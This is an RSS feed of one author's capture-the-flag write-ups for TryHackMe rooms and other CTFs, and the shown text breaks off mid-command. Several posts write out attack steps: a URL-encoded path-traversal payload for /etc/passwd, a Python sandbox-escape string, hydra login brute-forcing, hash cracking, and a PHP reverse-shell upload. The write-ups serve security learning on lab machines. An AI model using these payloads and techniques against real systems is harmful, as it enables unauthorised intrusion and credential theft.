<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 0UR4N05 on Medium]]></title>
        <description><![CDATA[Stories by 0UR4N05 on Medium]]></description>
        <link>https://medium.com/@ouranos666?source=rss-69be23fb2c8d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Mvs0Z9QsWFk6gnLSRsfxtQ.jpeg</url>
            <title>Stories by 0UR4N05 on Medium</title>
            <link>https://medium.com/@ouranos666?source=rss-69be23fb2c8d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 22:38:49 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ouranos666/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Try Hack me | Tokyo ghoul (official write-up)]]></title>
            <link>https://ouranos666.medium.com/try-hack-me-tokyo-ghoul-official-write-up-402e5899e807?source=rss-69be23fb2c8d------2</link>
            <guid isPermaLink="false">https://medium.com/p/402e5899e807</guid>
            <dc:creator><![CDATA[0UR4N05]]></dc:creator>
            <pubDate>Mon, 15 Mar 2021 03:51:57 GMT</pubDate>
            <atom:updated>2021-03-15T03:51:57.914Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello guys it’s ouranos again , in this write-up i will solve the tokyo ghoul room from try hack me .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/362/0*QY-xyP6AMGQC1-37.jpeg" /></figure><h3>Where am i ?</h3><p>So we gonna start by doing a quick scan using nmap :</p><p><strong>┌─[ouranos@parrot]─[~/ctf/thm/tokyo]<br>└──╼ $sudo nmap -A -T4 $IP</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*-SxutFGrZlU4juGTP0TJ-A.png" /></figure><p>As we can see we have 3 open ports :</p><p>Ftp with anonymous login : 21</p><p>Ssh : 22</p><p>Http , apache ubuntu version : 80</p><h3>Planning to escape</h3><p>After knowing the open ports i will navigate trough the website and inspect elements look for anything specious</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jvua_gpC1gydkYfEa1_zSQ.png" /></figure><p>after a while i found a note in jasonroom.html , that’s a hint about getting to the ftp server , so let’s go to the ftp server</p><p><strong>┌─[ouranos@parrot]─[~/ctf/thm/tokyo]<br>└──╼ $ftp $your IP</strong></p><p>After getting into some directories in the ftp i found 2 files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*J0ykgWDSIbw2ZZZlujmqtw.png" /></figure><p>so i downloaded them using get</p><blockquote>ftp&gt; get rize_and_kaneki.jpg</blockquote><blockquote>ftp&gt; get need_to_talk</blockquote><p>after downloading them we know the first one is an executable and the second one is a jpg , i executed the program</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*smSlQhYNawYpA-N4tSl4Rw.png" /></figure><p>The executable wait for a paraphrase , i used strings to pull it</p><blockquote>┌─[ouranos@parrot]─[~/ctf/thm/tokyo]<br>└──╼ $strings need_to_talk</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*RDsXI1YFjGRr8k9YlS9Mrw.png" /></figure><p>The program gaved us another string i think this is related to the picture so i used steghide</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*SkWSwF0TDK-r_n3kVoQUeA.png" /></figure><p>we got a txt file with an encoded string , use cyber chef to decode it</p><p>from morsecode →hex→ base64</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/419/1*X7HtqxWLV-gph-32wjQMIw.png" /></figure><h4>What Rize is trying to say?</h4><p>We found the hidden directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PonMT4zu9U0FlVslRJjquw.png" /></figure><p>This directory need to be scanned :</p><p>┌─[ouranos@parrot]─[~/ctf/thm/tokyo]<br>└──╼ $sudo dirb <a href="http://$machine_ip/secret_directory">http://$machine_IP/secret_directory</a></p><p>so we found a directory using dirb :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EPpGBHeVAXuoYG2DHNi0Vg.png" /></figure><p>after clicking a while i saw this parameter who call a file in the server</p><p>index.php?view=flower.gif</p><p>maybe we can change it to get back and get the /etc/passwd</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*TMW6nvIvVnICBS7620iicg.png" /></figure><p>nop it didn’t work but we know now that there is a vulnerability there so we need to bypass it using html url encoding</p><p>?view=%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wjyBa9LQEn4BaTbsU16J3A.png" /></figure><p>voila we got the /etc/passwd with a username and a hash , i’ll crack this hash using john</p><p>first thing we put the hash in a file</p><p><strong>┌─[ouranos@parrot]─[~/ctf/thm/twd/box]<br>└──╼ $echo ‘$hash’ &gt; hash.txt</strong></p><p>and we crack it</p><p><strong>┌─[ouranos@parrot]─[~/ctf/thm/twd/box]<br>└──╼ $john — wordlist=/usr/share/wordlists/rockyou.txt hash.txt</strong></p><p>after a while we see the password</p><p><strong>┌─[ouranos@parrot]─[~/ctf/thm/twd/box]<br>└──╼ $john — show hash.txt</strong></p><p>and we got our ssh creds</p><h3>Privillage esculation :</h3><p>We are on the ssh , so i’ll see our permissions :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*eIM0tqMk3G795tJatzcKiw.png" /></figure><p>we have access as root to execute jail.py , so let’s see what is this</p><blockquote><strong><em>#! /usr/bin/python3<br>#-*- coding:utf-8 -*-<br>def main():<br> print(“Hi! Welcome to my world kaneki”)<br> print(“========================================================================”)<br> print(“What ? You gonna stand like a chicken ? fight me Kaneki”)<br> text = input(‘&gt;&gt;&gt; ‘)<br> for keyword in [‘eval’, ‘exec’, ‘import’, ‘open’, ‘os’, ‘read’, ‘system’, ‘write’]:<br> if keyword in text:<br> print(“Do you think i will let you do this ??????”)<br> return;<br> else:<br> exec(text)<br> print(‘No Kaneki you are so dead’)<br>if __name__ == “__main__”:<br> main()</em></strong></blockquote><p>this is our script , the script won’t let us execute commands who read internal files , we should escape this to read the root flag using <a href="https://docs.python.org/3/library/functions.html">using Built-in functions</a>:</p><p>__builtins__.__dict__[‘__IMPORT__’.lower()](‘OS’.lower()).__dict__[‘SYSTEM’.lower()](‘cat /root/root.txt’)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*pLVoPKX8iOroDtRKsuOWMQ.png" /></figure><p>and finally we got our root , thank you for trying this room , i hope you enjoyed and you learned something new -0UN4N05</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=402e5899e807" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Nahamcon(2021) | Abyss]]></title>
            <link>https://ouranos666.medium.com/nahamcon-2021-abyss-20cf02b06207?source=rss-69be23fb2c8d------2</link>
            <guid isPermaLink="false">https://medium.com/p/20cf02b06207</guid>
            <dc:creator><![CDATA[0UR4N05]]></dc:creator>
            <pubDate>Mon, 15 Mar 2021 00:03:46 GMT</pubDate>
            <atom:updated>2021-03-15T04:01:32.536Z</atom:updated>
            <content:encoded><![CDATA[<h3>Nahamcon(2021) | Abyss writeup</h3><h3>Challenge :</h3><p>A Vortex? No… an Abyss.</p><p><strong>Connect with:</strong></p><pre># Password is userpass<br>ssh -p 32140 user@challenge.nahamcon.com</pre><h3>Solution :</h3><p>First step of solving the challenge is connecting to ssh :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*Y0P5vdMj3jb9a79o8KmblA.png" /></figure><p>after connecting to ssh we receive a lot of junk in our screen</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mhwzrVSetOc4lYbvRoOGpQ.png" /></figure><p>and it keeps continuing and it’s impossible to see the flag so i’ll use grep ,we let the junk spam a little and quit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*NxWB-QrNmqiy2URiOLdsSQ.png" /></figure><p>after a quitting the flag shows</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q5NoqrMXZwLz4jILqToLRQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=20cf02b06207" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Shadow CTF | Thirsty crow(write-up)]]></title>
            <link>https://ouranos666.medium.com/shadow-ctf-thirsty-crow-write-up-e1d999b042c5?source=rss-69be23fb2c8d------2</link>
            <guid isPermaLink="false">https://medium.com/p/e1d999b042c5</guid>
            <dc:creator><![CDATA[0UR4N05]]></dc:creator>
            <pubDate>Wed, 27 Jan 2021 14:45:10 GMT</pubDate>
            <atom:updated>2021-01-27T14:46:40.667Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello guys it’s 0UR4N05 again , today i’ll solve a reverse engineering challenge</p><p>challenge description : Help crow to drink the water…..(something like that)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*ifOCBq4y8itb-WV9QwEzPw.png" /></figure><p>The solution of this challenge is the same to Vault and other challenges i’ll just do it .</p><p>So our executable need a password too , i’ll run strings to extract all strings in the executable</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N2stjDLDM35K9a8S_5qJWw.png" /></figure><p>not too much , so i’ll run ltrace to extract strings while the program is running</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YBquFrFMkEYdZnAyeBhkoA.png" /></figure><p>again we have a strcmp function who compare our password with the original password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*QPSM3yiCRkxHP8rQzCk2OQ.png" /></figure><p>so we got our flag using ltrace .</p><p>Thanks for reading , 0UR4N05</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e1d999b042c5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Shadow CTF | Vault (write-up)]]></title>
            <link>https://ouranos666.medium.com/shadow-ctf-vault-write-up-33e397cbaaca?source=rss-69be23fb2c8d------2</link>
            <guid isPermaLink="false">https://medium.com/p/33e397cbaaca</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[shadow-ctf]]></category>
            <dc:creator><![CDATA[0UR4N05]]></dc:creator>
            <pubDate>Wed, 27 Jan 2021 14:32:55 GMT</pubDate>
            <atom:updated>2021-01-27T14:32:55.592Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello guys it’s 0UR4N05 again , today i’ll solve a reverse engineering challenge</p><p>challenge description : Open a Vault to get the flag……(sounds like that)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*ccNcjvWN0IiQdP7eYVbl3A.png" /></figure><p>This challenge gave us an executable who need a password to give you the flag , the first thing to do is extract all strings in the executable :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2krP0--J4jf-9jEWuE486w.png" /></figure><p>as you can see there is no password clear , so we gonna use ltrace to extract strings while running the executable</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q2Dard-q2uNqB--xboo1sA.png" /></figure><p>as you can see there is a strcmp who compare our fake password with another string so i think this is the password required</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*_xyMBRC7NQkfUn7nlpH0HQ.png" /></figure><p>yeah that was our key “hackers_access” and we got the flag</p><p>Thanks for reading , 0UR4N05</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=33e397cbaaca" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe | CC: Steganography [write up]]]></title>
            <link>https://ouranos666.medium.com/tryhackme-cc-steganography-write-up-db5a64a59f66?source=rss-69be23fb2c8d------2</link>
            <guid isPermaLink="false">https://medium.com/p/db5a64a59f66</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[steganography]]></category>
            <dc:creator><![CDATA[0UR4N05]]></dc:creator>
            <pubDate>Sun, 10 Jan 2021 18:08:23 GMT</pubDate>
            <atom:updated>2021-01-10T18:08:23.441Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey guys it’s your boy ouranos again , and today we will solve the challenges in the <a href="https://tryhackme.com/room/ccstego">CC: Steganography room</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*5T61iGmSrbzoJ5klFi_2ZQ.jpeg" /></figure><h3>[steghide]:</h3><p>To extract the hidden message we need to use this command</p><blockquote>┌─[ouranos@parrot]─[~/ctf/thm/ccsteg/spect]<br>└──╼ $steghide extract -sf jpeg1.jpeg</blockquote><p>extract : extract data and put it in a file</p><p>-sf : select stego file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*pIY5bqhjsZo6aTWpr-SF7A.png" /></figure><h3>[zsteg]:</h3><p>To find png1.png’s hidden message, and the payload used to encrypt it, you do not need to use any arguments with zsteg.</p><blockquote>zsteg png1.png</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*JfK18u6Eobldfor-3c0pAQ.png" /></figure><h3>[Exiftool]</h3><p>To extract the document name we need to extract metadata using exiftool :</p><blockquote>exiftool jpeg3.jpeg</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wlTY9FaMhFnrun19ULGocw.png" /></figure><h3>[Stegoveritas]</h3><p>To find jpeg2.jpeg’s hidden message we run the file as an argument into stegoveritas with no options specified.</p><blockquote>┌─[ouranos@parrot]─[~/ctf/thm/ccsteg/spect]<br>└──╼ $stegoveritas jpeg2.jpeg</blockquote><p>You can see that stegovertias found something using steghide and stored it in a bin file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G3rkr9fOjlbf95vqlyxybA.png" /></figure><h3>[Spectrograms]</h3><p>To find the hidden text in the included wav2 file we need to open the wav2.wav in <a href="https://www.sonicvisualiser.org/download.html">sonic-visualiser</a></p><p>click Layer-&gt;Add Spectrogram and you should see the hideen message .</p><h3>[The final exam]</h3><p>deploy the machine and open the IP in the browser</p><h4>— key 1 :</h4><p>download the image</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RdM0HKj4sIyTW7TWrh4u6w.png" /></figure><p>the first thing to do is get all metadata :</p><blockquote>┌─[ouranos@parrot]─[~/ctf/thm/ccsteg/spect]<br>└──╼ $exiftool exam1.jpeg</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wOEiRxU6UgW9MrT8ZBtufw.png" /></figure><p>we got a password , i think this password is for steghide</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*5ySOZlWFEv8UUijJxNk68A.png" /></figure><p>and we got the first key</p><h4>— key2 :</h4><p>In the second stage we got a wav file download it and open it in the sonic-visualiser and add a Spectrogram layer</p><p>the audio lead us to another png file :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/205/1*wclNv6flpXolqfmJDzjPJA.png" /></figure><p>i’ts a png so we gonna use the zsteg</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*J8800-RjeOSMsrjSp49Dvg.png" /></figure><p>and we got our second key</p><h4>— key 3 :</h4><p>in this challenge we have a damaged qr code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/464/1*koDp6ErP3FNmtWisWHfJpw.png" /></figure><p>so we gonna use <em>stegoveritas to change the colors of the qr code to be scannable</em></p><blockquote>┌─[ouranos@parrot]─[~/ctf/thm/ccsteg]<br>└──╼ $stegoveritas qrcode.png</blockquote><p>wait a while and check for the result and scan it then you will get the key</p><p>Thanks for reading , happy hacking :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=db5a64a59f66" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe | Bolt [write up]]]></title>
            <link>https://ouranos666.medium.com/tryhackme-bolt-write-up-4f6fea2c600b?source=rss-69be23fb2c8d------2</link>
            <guid isPermaLink="false">https://medium.com/p/4f6fea2c600b</guid>
            <dc:creator><![CDATA[0UR4N05]]></dc:creator>
            <pubDate>Fri, 08 Jan 2021 22:25:27 GMT</pubDate>
            <atom:updated>2021-01-08T22:25:27.673Z</atom:updated>
            <content:encoded><![CDATA[<p>hello guys , it’s your boy 0UR4N05 again , today we gonna exploit a room named <a href="https://tryhackme.com/room/bolt">bolt</a> in tryhackme</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/317/1*jNmfjhSZyUPpUMCl0nSEZQ.png" /></figure><h3>[1]-Enumeration and scanning :</h3><p>Let’s run a Nmap scan against the machine to see open ports :</p><p>$ nmap &lt;IP&gt; -A -T4</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*igfTdm8uVdAI7CAz0L5k2Q.png" /></figure><p>we can see 3 ports , an ssh and 2 web app open ports</p><p>port 80 :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dj3qL_P3n9aNZl5ryVC4eg.png" /></figure><p>port 8000 :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ryh-UO-a6iG96qzoLGydVQ.png" /></figure><p>so port 8000 is our target , after exploring it a while i found the password and the username in a post by the admin (WTF hh !!)</p><p>password :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7dfaoHU6L3t3ERohMg1FBA.png" /></figure><p>username :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ry--l770PVV3rJRJVEme5w.png" /></figure><p>so we should get a form to submit those , after a while of searching i found the link in google :</p><blockquote><a href="http://10.10.43.116:8000/bolt/login">http://&lt;IP&gt;:8000/bolt/login</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OevQECam7148o3GSIEn-EA.png" /></figure><p>so i will login with the creds :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CsfaUWX4E7bCbVR5_QDIgg.png" /></figure><p>we are in and we found the version we should search for an exploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dnJ7YLu4fiUuUgwkkQ6Meg.png" /></figure><p>we found an exploit in metasploit and we gonna use it , and set our lhost … , and we exploit it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XsEPSY5opblr-HyD.png" /></figure><p>and we got our shell</p><p>thanks for reading , happy hacking</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4f6fea2c600b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe | Mr Robot CTF]]></title>
            <link>https://ouranos666.medium.com/tryhackme-mr-robot-ctf-1388364b3201?source=rss-69be23fb2c8d------2</link>
            <guid isPermaLink="false">https://medium.com/p/1388364b3201</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[mr-robot]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[0UR4N05]]></dc:creator>
            <pubDate>Fri, 08 Jan 2021 16:02:23 GMT</pubDate>
            <atom:updated>2021-01-08T16:02:23.946Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/268/1*7WkKMDu4H790KrHW1ula-Q.jpeg" /></figure><p>hello guys , it’s your boy ouranos again and today we have the mr robot ctf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/366/1*8D-zXS9tmyIWb5OSh_waeQ.gif" /></figure><h3>[ Key 1 ] :</h3><p>After deploying the machine launch a dirb attack</p><h4>┌─[ouranos@parrot]─[~/ctf/thm/mrrobot]<br>└──╼ $sudo dirb http://&lt;ip&gt;</h4><p>then you will see a directory called robots , this file is used to prevent google bots of indexing some server files to know more about it click <a href="https://developers.google.com/search/docs/advanced/robots/intro">here</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*LeNUHJ7hcUioDkn0Fzlu5A.png" /></figure><p>there is two files a dictionary maybe we gonna use it later and the first key , don’t forget to download it</p><h3>[ Key 2] :</h3><p>having a wordlist in the challenge is a sign of bruteforce , we cant bruteforce the ssh because it’s closed so we should look for a login page</p><h4>┌─[ouranos@parrot]─[~]<br>└──╼ $sudo dirb http://&lt;IP&gt;</h4><p>after the dirb attack we found this :</p><blockquote>/images (Status: 301)<br>/blog (Status: 301)<br>/sitemap (Status: 200)<br>/rss (Status: 301)<br>/login (Status: 302)<br>/0 (Status: 301)<br>/video (Status: 301)<br>/feed (Status: 301)<br>/image (Status: 301)<br>/atom (Status: 301)<br>/wp-content (Status: 301)<br>/admin (Status: 301)<br>/audio (Status: 301)<br>/intro (Status: 200)<br>/wp-login (Status: 200)<br>/css (Status: 301)<br>/rss2 (Status: 301)<br>/license (Status: 200)<br>/wp-includes (Status: 301)<br>/js (Status: 301)<br>/Image (Status: 301)<br>/rdf (Status: 301)<br>/page1 (Status: 301)<br>/readme (Status: 200)<br>/robots (Status: 200)<br>/dashboard (Status: 302)</blockquote><p>dirb found a “wp-login” so we gonna try to enumerate users using wpscan</p><h4>┌─[ouranos@parrot]─[~/ctf/thm/mrrobot]<br>└──╼ $sudo wpscan — url <a href="http://10.10.224.73/">http://10.10.224.73/</a> — enumerate u</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SeL7jXzawyxQmxH_-PW7-w.png" /></figure><p>but no users found so we gonna use hydra to bruteforce the login</p><h4>┌─[ouranos@parrot]─[~/ctf/thm/mrrobot]<br>└──╼ $hydra -L fsocity.dic -p password &lt;IP&gt; http-post-form “/wp-login/:log=^USER^&amp;pwd=^PASS^&amp;wp-submit=Log+In&amp;redirect_to=http%3A%2F%2Fmrrobot.thm%2Fwp-admin%2F&amp;testcookie=1:F=Invalid username”</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*xZxRktHBEDjXFf1tUJmx2A.png" /></figure><p>bingo we got our username , now we gonna try the password</p><h4>┌─[ouranos@parrot]─[~/ctf/thm/mrrobot]<br>└──╼ $hydra -l Elliot -P fsocity.dic &lt;IP&gt; http-post-form “/wp-login/:log=^USER^&amp;pwd=^PASS^&amp;wp-submit=Log+In&amp;redirect_to=http%3A%2F%2Fmrrobot.thm%2Fwp-admin%2F&amp;testcookie=1:S=302”</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*0bVts2KQ3DUZBC1Nz5Ov0A.png" /></figure><p>and we got our password , so we gonna log in</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UpogDi4_pEPkY7pCUTJS8A.png" /></figure><p>now our goal is to upload a payload and get a reverse shell and to do this we gonna upload a payload in the plugin section and get the reverse shell</p><p>wordpress payload : /usr/share/webshells/php/php-reverse-shell.php</p><p>replace the IP with yours , zip it , upload it and listen for incoming connection then activate it</p><p>lets gooo we got a reverse shell , and our second key but we can’t read it , and we have a md5 password hash , so we gonna put it in a file and brute force it</p><h4>┌─[ouranos@parrot]─[~/ctf/thm/mrrobot]<br>└──╼ $hashcat -m 0 md5.txt /usr/share/wordlists/rockyou.txt</h4><p>after you get the password login in as the robot , and get the key</p><p>— this writeup is 2 keys maybe ill upgrade it later thank you for reading , 0UR4N05</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*JEGdXb1M5TfGbPHkEJMuzA.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1388364b3201" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Don’t be salty (Brixel ctf)]]></title>
            <link>https://ouranos666.medium.com/dont-be-salty-brixel-ctf-620dd125f454?source=rss-69be23fb2c8d------2</link>
            <guid isPermaLink="false">https://medium.com/p/620dd125f454</guid>
            <category><![CDATA[encryption]]></category>
            <category><![CDATA[hash]]></category>
            <category><![CDATA[brixelctf]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[0UR4N05]]></dc:creator>
            <pubDate>Thu, 07 Jan 2021 16:50:33 GMT</pubDate>
            <atom:updated>2021-01-07T16:50:33.369Z</atom:updated>
            <content:encoded><![CDATA[<p>About the challenge :</p><p>Don’t be salty</p><p>Our l33t hackers hacked a bulletin board and gained access to the database. We need to find the admin password.</p><p>The user’s database info is:</p><p><strong>Username:</strong>admin</p><p><strong>Passwordhash:</strong>2bafea54caf6f8d718be0f234793a9be</p><p><strong>Salt:</strong>04532@#!!</p><p>We know from the source code that the salt is put AFTER the password, then hashed. We also know the user likes to use lowercase passwords of only 5 characters long.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/0*uZngc5_YnGTPrpx1.png" /></figure><p><strong><em>01 : Introduction</em></strong></p><p>Welcome in this writeup focused on Brixel CTF ‘Don’t be salty’ published by 0UR4N05 .</p><p>As mentioned in the challenge introduction, this challenge designed to cover: <strong>Brute Force</strong>,<strong>Hash cracking </strong>Let’s start with identifying the hash type .</p><p><strong><em>02 : Hash identifying</em></strong></p><p>So we gonna open a terminal and start hash-identifier :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/0*e-DQLlYh8ETqXGkp.png" /></figure><p>then put our hash :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/0*XBJFv--E5__9OCtm.png" /></figure><p>so our hash is md5 .</p><p><strong><em>03 : Hash cracking</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/341/0*tAxWMZtdm91LrvNN.jpg" /></figure><p>Before cracking the hash we should put the hash and his salt in a txt file (if you don’t know what the salt mean please read this <a href="https://en.wikipedia.org/wiki/Salt_(cryptography)">article</a>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/0*Hyu6Yc6Em2BRQOam.png" /></figure><p>Don’t forget the colon between the hash and the salt , so now we gonna use hashcat to crack the password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*iLjWl7S-QptokmD0.png" /></figure><p>(sorry but i can’t show you the password but you can try it and get the flag )</p><p>-m 10: Salted MD5 hash mode , you can find them all in hashcat</p><p>-a 0 : Dictionary attack mode</p><p>hash.txt : txt file containing hash in compliant format</p><p>/usr/share/wordlists/rockyou.txt : dictionary file containing passwords in plain text</p><p>— This challenge is easy , thank you for reading</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=620dd125f454" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tryhackme | Library [writeup]]]></title>
            <link>https://ouranos666.medium.com/tryhackme-library-writeup-b0da17084e9?source=rss-69be23fb2c8d------2</link>
            <guid isPermaLink="false">https://medium.com/p/b0da17084e9</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[0UR4N05]]></dc:creator>
            <pubDate>Tue, 05 Jan 2021 22:30:11 GMT</pubDate>
            <atom:updated>2021-01-05T22:30:11.577Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://devalfo.blogspot.com/2021/01/tryhackme-library-writeup.html">January 05, 2021</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*orERv79N3i2hd4qY.jpeg" /></figure><p>1- Enumeration :</p><p>first thing first we gonna launch an nmap scan</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*_bnYRUN-Q_8I_WKNSoXO6w.png" /></figure><p>we only have two open ports:</p><p>22 ssh OpenSSH 7.2p2</p><p>80 http Apache httpd 2.4.18</p><p>we gonna take a look at the website in port 80</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yzaIeS67-iwyx8A_3cjPIw.png" /></figure><p>if you scroll a little you will find 4 probable usernames :</p><p>-meliodas</p><p>-root</p><p>-www-data</p><p>-anonymous</p><p>so we gonna launch a dirb attack :</p><p>after a while the attack gonna finish , but nothing special but there is robots.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*yHcmyxgLr3GNS7i_OWLbdA.png" /></figure><p>i don’t think this is to disallow us to access the website , it’s a hint to bruteforce the ssh</p><p>2- ssh bruteforce :</p><p>we gonna launch an attack using the “meliodas” username</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/0*trR1oq64JQ-Xmp7u.png" /></figure><p>and we got our password we should just connect and get our user.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/537/0*M9xD5rTaOxReXpKJ.png" /></figure><p>3 — privilege escalation</p><p>before everything we should see our permitions</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0-kUyM4b0U_R6pEuzgV4lw.png" /></figure><p>okey we can run bak.py</p><p>bak.py :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5BD4W0Ug9LDO51HHpt_w3A.png" /></figure><p>By running it, we just get a Permission denied error :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*_iGXu8yHdGVKOGIIUw6oYQ.png" /></figure><p>we don’t have the perms to edit the file, but we still can delete it and re-create it with our TTY spawner:</p><p>$ rm -rf 